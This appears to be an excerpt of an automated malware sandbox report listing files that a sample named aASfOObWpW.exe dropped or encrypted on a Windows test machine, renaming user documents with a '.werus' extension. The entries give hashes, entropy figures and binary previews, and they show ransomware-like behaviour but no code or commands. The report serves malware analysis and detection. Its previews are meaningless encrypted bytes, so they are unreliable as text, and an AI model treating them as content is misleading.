0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Desktop\aASfOObWpW.exe.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	17936
Entropy (8bit):	7.990007545505862
Encrypted:	true
SSDEEP:	384:Freele/CPBWVCzxY2AHykzlzUjxyf0rRnUsekwEaE8fCjT9:1nle4WwzxY2exzk0MKYar+9
MD5:	FFF70C43114F8DE1225E71CD9F08B12C
SHA1:	E56ECE6AD4E0D70C00D40CFD29F34970B54A0013
SHA-256:	C1E5FC68E2DC1A6C85B1DAD7EC537EA3BC41E9A5F2670D8FBAAC30BEE1D6A593
SHA-512:	EE83EE3637740242DC683DEFFD19ADC8A16021E2BE7B3042B70E383888B1A724D52FDC5FF775877BF112B6268C0AA7EB72AC397F17FFDADFA80E2786593F17E2
Malicious:	true
Preview:	.?^6.&.}W./....$.X..A....[...1]...%...).-ac..]....D=.w.1...L....\|2$.(.Zk.....A..?..j....O..rM[.........L!).\..........r....dp...7....Tj@...-.a.....+..w.C.t..9([pS0.....i...._.S.....S..;Bb....,.3^..+.0..<}...m5.cP...T&'.......)q..p.8M3.I.'.#.u...3..P.5..t]....-.E..>.(..t.h.`.a.......Tnp...]QQ^.QP..w.(..0../.w.bM_.T+.2..h..La4.'..\i....F.3'.@wv.zv.d.e4gL...Q.6.'Jm......s&<?.(..-..+.Wh..G..p....xz.@.@.V.....)+c...NGh&._#.J....._.X.. .H...Z6...r.F_i-.L.......t..C.$.\|.I..$.H..<.0k.LD....d.sSi.b.o+....Q&.w...^..y.d7...V......9w...<0N.....'kc..f...z....OE..M......;C.....Q..b.........Y..B..f.....$.......2..rPv'..%\|.x..&.k.(.wD......lo"J.9...>.f.f....Wi..w6..Q./..}$T..ur.....e.........>w....n...R.iU.zD4.Y...=i.. ....o.7j)..LR.....T.N]..P.E@.&t...Kd..C.{WR.^.I.L._.0..B...{....w.<......\|..-..Bm...=...O_.....@.r.1u..E....".ZG..j..Q1p.../.?...-.S..*u..p?..d.T..6.)...!.....r~......M...1...pxx....>..?..DM..Ft#..O.;'..rV.mz..#...W...-...g..Qv...^m$...lG.....q

C:\Users\user\Desktop\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	7.165509552016872
Encrypted:	false
SSDEEP:	6:TQ6VB292DZUSsxXcfmiFGF/Ids3GHcSR1f2yH6vIjX:TQ6r292DZFWXqmuGZIds38Pf2yHt
MD5:	24628FD90B4154F360C9CBC463F52F14
SHA1:	F383ED245B0B10C123A01FDD3C45F127C14CDDF7
SHA-256:	CB0C719347571BB1B7DAB4354FA5F8A31E3AC8084C99090EF6AAE6A6859C2233
SHA-512:	BDCE3A789F4E51425D7FF245ED6C245C6789434FE183D87FBF160694B5ACCAA3FC4C7BCA751AC5B20F83FAEF9AB0273E8705FF4C6A7AC0E552689D7BD680534D
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......==.:4.?.E...).B..X.c..2......yN...$...}H.......a...G...D....\|U.S...&..._.]..}.n..................?.t.6..X.....@..'x....8..L.NU.N....aC(.,cf_...7.&.^l.

C:\Users\user\Documents\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Documents\BJZFPPWAPT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Documents\BJZFPPWAPT\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79169412483687
Encrypted:	false
SSDEEP:	24:L9JSO3dbbpHiW5BTpFaTdsSwqTkbcuJ58kvyUU6pHV6KL0tGsc5VLc0K:LJ3dbbBiqBTpFa5sS0Fr8kqGVst8LnK
MD5:	A06C2FBEB411933D9DD1C963AA42413C
SHA1:	A2C80B66A1032BBCE249C0BD9D276685BDCCFFA1
SHA-256:	7CCF496F0B265D2804B6D35ED41074EEC42F1D556DF57081B64300B93AFD8270
SHA-512:	D13444D4B538E97A70966D973329A7407B14158441CF4D07FD9BD433232AAD290BE476AA1BD5751EEB36F36172378A0123CDDF154D0ECE7FF3D43EDEC84EF62D
Malicious:	false
Preview:	...5I...z...F[...~.V..'...5...t..1i.k..Q... ....L.kg!2..R{N..L..?#..i...A....+.v...7......^K<..V...B.da.@y...0..2...e....V..&......+?.%Fq..~......@.K......j.e.....m.<b..V....n.c.l.z..t..<.......d..Q_M`F..}.5Ckl.9.....$a..Uz..U.A[...L~J.A......`.....y.?...x.......22.$..k.^W[.o]a..mE1.b......P.....}[..s....Y0.z.....6.gm=.5...6..C .ZQ6u.kP..G.-...C.)055v.J..Pb.yS...o .....0..\...(...S...r.E......Lr.0c...b.a}3...L...#}...c..n1...j.....c..~u.@...h..+.(,..6.A.........\.6"R\|...Ie....9.......\.Nl..0...a...<...}fg$...Y.......VE(qa.+.^}.v{....nD..;.gv.s.I'.>.'..4..A{.\|.l...m....l)....1..4.]vcx...x.t...;....L~j.x9&.R>..x.\}1Y.....d.........)..@.uc............#.;.f..6...1...E..........%....}@K.&.B=..@.>T....\oR.i..7g.......mm..2.5..4..1.. .G>}8?....*f6.[._K...........I.l..=.~.(.>.nC....b[:..E.Jh..#....rSD+2Xd<...i.0S...9^.......5%.O.eE..O.!C.v1..P...Ii....qxyyN.6..o$J..V<n.c......W.=....pv...........}.s....J6{^...7'Ny..U]-.I....k.

C:\Users\user\Documents\BJZFPPWAPT\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Documents\BJZFPPWAPT\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815732990822623
Encrypted:	false
SSDEEP:	24:oqFkXrBkgsYFANgkZhCnSQVdgV8sdKORhbimGb:oOm2gsBNd3QV0Prbij
MD5:	26B8E50814239A6FFE212DDB0F07ACF6
SHA1:	369818435AAD622D49A150ACA2C31D842A9F933E
SHA-256:	1BB7FC240AE092410B24AEA411646F284930B6E10313DAC576ACC28DF361891A
SHA-512:	8DFB4C9BFBE98A23465EAD03D24D7493DF0F7552F580EB26D0E3436C8F37B2AE535B25C3BFDC3294BBF5F0E92F8697D077A4DF4E163C15A179565ADE7DCFCA7E
Malicious:	false
Preview:	/k.!\..!3...F......}........,]....g.L...y.8....M.<?%2PR.a.B.&T....^....`=.=.9z^6...B..].....U.b..x...$...r.m.'e4.......i..B....-9..Q........A+Z.?;u....y.9.N...<v.`.8....[...#H...E...3.)..%ma.e..7....XAt..T.G...K+Z..y.BO.E-bq......7 bwg.XK6...Li#.f.h.....`.#>M6._...V.R.../J/.W.C... /.uI..$..]...{m..5h......:+.8...].eB4kR..ob...5......q..w...>...........[....?[....:.......X..1..52......#.4.n <......<FQ6.O...2.....j..>U"....%b{k..]......[.......~..O..qk......B..":..=.......==..U.k..\.gs)..-..G......P...4..Lg.;.........dY..T.....0..J..Oz[..Y..cK..<....i....a..Le.v..^}4..)..0...BkYtTNB..X.ER..d.501.e.PwO..&!.6.l5...I.....Q.X`....jWs-X......fG..y'aA..Y...^..c.V..Mh......{.....T...0{`..w.J.....py$.h.J..:N...>.Vl.[3h.X......oi..!.....Y ,8....`..dU...g...KX.^..}.Z.Q.^..lK....Z.K..K..'.R..}..s...:.fU..-..j7....Y,c,....\|q\|6Y....Xk3..........l#...g^.u-!....c.....4......].=..:.3....SNV....%S.z?.^..kB.D.#...G......../.K.C..(/..ei&\|.?...:....h

C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.807938069631537
Encrypted:	false
SSDEEP:	24:h//cumcylhk2NIM0YHC9Vng+I3C1gSx3RsHR:5UumVQ2Nj7HC9Vg81Hsx
MD5:	E14C0B8329D4A99EE0B6A9055C4175B5
SHA1:	BCF38583620B915FDE3ED6EDA2ADBEA0C3AC63CA
SHA-256:	6172CC42D84C8E6995CE919F3414BEBD39FA9AB8474B68E880E975B7FF074194
SHA-512:	C8315AC1E30C952FDBE7A81F863288C92FF74851FFF01F83109F36CEEB0B10D80AACBEB2F378BC0B49E5D12705E1AB07C0173814888FE6643B5264C6F750AD01
Malicious:	false
Preview:	....m...>..].@l."..:...r+....e@.1J=3..D.../l[... /C.\.......w...^.......@%.Y.-`.rX...=.......f..5..7....\|..\.'....-...2.d.a:.B.gv.I...s./...........h.s... O.}B.p/...(B..yd....)b.T-...ydC...{.}`zM...A.0...LL..l..<+.m0.c.....D...#.[ .\|>.........D.gJ..u}0o0..........z.d.b.(Q....;..M;.?S.'b........i.O.J.....^.....N.9.%..-5....aX..B.K.[e...(..{..zH.U.#.b....5..xn..'.......<'.y.<2.8=..&K...'.....HLLLG.....E.....7..K..!.33.m.g.0<...e.......m-.n..vV/..t8.8G...b.........q....P..=...D'..xRk~.=.~.\v..1..2.}gO..n.;E.t..Z/]..Y.....?...t.SA..\|...D.SB.N.iq...f]...bx..d....X.y..z..e...........~d...>...cx...6......]@../nDTJ.C.H.I.O..[YB..\|XT.ZA.y.Y..3..K..".=.....3>... _.,....(`.I^P3+...\|.gc<..~..zg........@w..8.q.......YZ.........?.V.SaL+h........\m..]=.....4....c......=..K..;....U..-...p...Y.yj..JFx....AJ.i1N..-.r_)...J.....>L._../.lw0..r..[2.>..h..-oQn........?.. .&q...h....U..a.@.......d...1.J`k..E...M.m.....K......G...Hx.@....B.%..Q^*.L.3-T}...@

C:\Users\user\Documents\BJZFPPWAPT\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Documents\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79169412483687
Encrypted:	false
SSDEEP:	24:L9JSO3dbbpHiW5BTpFaTdsSwqTkbcuJ58kvyUU6pHV6KL0tGsc5VLc0K:LJ3dbbBiqBTpFa5sS0Fr8kqGVst8LnK
MD5:	A06C2FBEB411933D9DD1C963AA42413C
SHA1:	A2C80B66A1032BBCE249C0BD9D276685BDCCFFA1
SHA-256:	7CCF496F0B265D2804B6D35ED41074EEC42F1D556DF57081B64300B93AFD8270
SHA-512:	D13444D4B538E97A70966D973329A7407B14158441CF4D07FD9BD433232AAD290BE476AA1BD5751EEB36F36172378A0123CDDF154D0ECE7FF3D43EDEC84EF62D
Malicious:	false
Preview:	...5I...z...F[...~.V..'...5...t..1i.k..Q... ....L.kg!2..R{N..L..?#..i...A....+.v...7......^K<..V...B.da.@y...0..2...e....V..&......+?.%Fq..~......@.K......j.e.....m.<b..V....n.c.l.z..t..<.......d..Q_M`F..}.5Ckl.9.....$a..Uz..U.A[...L~J.A......`.....y.?...x.......22.$..k.^W[.o]a..mE1.b......P.....}[..s....Y0.z.....6.gm=.5...6..C .ZQ6u.kP..G.-...C.)055v.J..Pb.yS...o .....0..\...(...S...r.E......Lr.0c...b.a}3...L...#}...c..n1...j.....c..~u.@...h..+.(,..6.A.........\.6"R\|...Ie....9.......\.Nl..0...a...<...}fg$...Y.......VE(qa.+.^}.v{....nD..;.gv.s.I'.>.'..4..A{.\|.l...m....l)....1..4.]vcx...x.t...;....L~j.x9&.R>..x.\}1Y.....d.........)..@.uc............#.;.f..6...1...E..........%....}@K.&.B=..@.>T....\oR.i..7g.......mm..2.5..4..1.. .G>}8?....*f6.[._K...........I.l..=.~.(.>.nC....b[:..E.Jh..#....rSD+2Xd<...i.0S...9^.......5%.O.eE..O.!C.v1..P...Ii....qxyyN.6..o$J..V<n.c......W.=....pv...........}.s....J6{^...7'Ny..U]-.I....k.

C:\Users\user\Documents\DUUDTUBZFW.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799290941677727
Encrypted:	false
SSDEEP:	24:SOQvZaV5IO5e/qgJ2DPxaxMT30UJIeaHtrhDw:SOms5IsgJmPxaOIhNw
MD5:	120AB6BFED01989093F2734686E84F9F
SHA1:	757F4BDE3BE9A873C4E5FF19045D06AE36064ECB
SHA-256:	9BE677DE00FF4F05D3A669715035F3AF023328AE9C3E7A02F537C2D218397593
SHA-512:	B04A3B7C0BE4B7EFE0479838A59D5B4B393E64B6D01BFC3D904B83CBF3E6F8F12A23B23E6547F0B703A4B1AFF2A6BC29B506B6C6A6571CE4839ABBFCA2955982
Malicious:	false
Preview:	.P..?...5.K..&y..7bz_SF....Me..:G.......]..;!..?...S.....?.....7.;i..E.R'....w.N....R........z..p.N..#................S.8..u......pr..@.U.L..".<...(....Y.SS..J<A.CA..A.&...YM.d...y.'E...G..\.D.o...@h....MM.c.X\{...{n'.8>f.....o...Y.....>...'.o.q9.K..HtN0!.bPcd.?C8.gr.13m%..O...2...Y^y..rL....f...8.. ...r........C$g.P.......c.^..+.f....m~...yK`.P..G._..bq..fSP......6...-..w..\x....Q...b.L.&;@........s.V...}.v..P...W..Y.B>........{.I...nr.k.v...o..c.....H..S..#H@.?..h"h:...C.f.bD..@.....s!..t-....{?.......O.Q...~.I.kt..D.e.69.....V...F.. eT..Y9.?.....M.=.<...7......].,>....O...\|mo.G..l^..[.a....a+.^.....R......)Z..l.......y.I...Z..w.;....X.(9...1..N.e..k....[xf\|.......t......P.x...w..w.N.......[?....F......]b...1z5.&..=.@.10.;....q..S....\|}a...S.o..sA..}..H.\.....sf..1..[.-5..RI...0K....v.k..!a......#.'0...<.....,$...^.n..gc...".-..C..~1..._.0.o...Kk..T..1.xU4.N...WyX...%.A.E-...~.K..d.zEw.;r`.).l..H.O..,..~.....S....m.....A

C:\Users\user\Documents\EFOYFBOLXA.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799624475284229
Encrypted:	false
SSDEEP:	24:Xz7+GlPkYmBJKGgzXITyKR6mpyEvNt49WxOb/ewceO:XWGXIh6xYI5ewceO
MD5:	B5B01B02FD9842BA8576AD743454FB0F
SHA1:	4613260115CF4CC4C38BBC5839437209AF600629
SHA-256:	0A64A3480B4A2AF1484CF62225025E62E906805C1D30273AFC565F2B69DEE41A
SHA-512:	F8AE1EC0FEB63D16F51571DE6CCF032C28E0340D2AA2E11F94E31A0177ED1A72CDF09E35C1B7A39F73EB0071277A65907CFD1B9F903120957BBF15252ECE3350
Malicious:	false
Preview:	....ow2....of....t0....A........0.R......dp...i.....H..T....Y..w#[.....SH.N.>E9.....AY.h.....[.F).8z.^0g....\...<7!.....%...=Fm...(....f\|.I......2.,.w6..........R..-.}e.............s#SU...... +=f...f..vc.}.:...%...Qx....K.....`>.l.`.V%...u..h.2..k#r.p...T.c...s.1.j.s5SnN.Qg.7'..;%.#.S.,...U.sv.F.X...].......T{....A..d...%.ye~...<Z.W.:..w...?).K..v..B,..[.A..eX.I..l.]N&.Q.....O.A.....">.....R...201@...G....j...h...\|E.^.B..d.b.. .~(....EbO~...oZ.%9%..'..So...U.I......+.0.q..i.4&...:...AQ$..u"..qK...}.....-).Gf.....{..X`......\|.i. .C`mt.K.1c.,.Gh..S.B...$..NQ.2"...I"$_.!;..ur.G].d..T"..M2.;..}._..>..H...H.J4.. .8..9..#.......).k..u..-......V..........(..5[.BO.c$...3.r......}...$..8K........E.._!6KQBx.O..0.r..}....&...snJ._....].V..._.H...s$]......\Z]..E.U....k..e....w.k.L....ja.,..z.$....\|......S....qg..J....lY.k.P.l.k.. ...d...XL.k.U.}O...z.T..=..w\..{z........e8^......S.Uy...LU.....{.Rh...'3..A...nn2=R.......g.q...n...(:.Z.lQ.+...zZ

C:\Users\user\Documents\EFOYFBOLXA\BJZFPPWAPT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Documents\EFOYFBOLXA\DUUDTUBZFW.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799290941677727
Encrypted:	false
SSDEEP:	24:SOQvZaV5IO5e/qgJ2DPxaxMT30UJIeaHtrhDw:SOms5IsgJmPxaOIhNw
MD5:	120AB6BFED01989093F2734686E84F9F
SHA1:	757F4BDE3BE9A873C4E5FF19045D06AE36064ECB
SHA-256:	9BE677DE00FF4F05D3A669715035F3AF023328AE9C3E7A02F537C2D218397593
SHA-512:	B04A3B7C0BE4B7EFE0479838A59D5B4B393E64B6D01BFC3D904B83CBF3E6F8F12A23B23E6547F0B703A4B1AFF2A6BC29B506B6C6A6571CE4839ABBFCA2955982
Malicious:	false
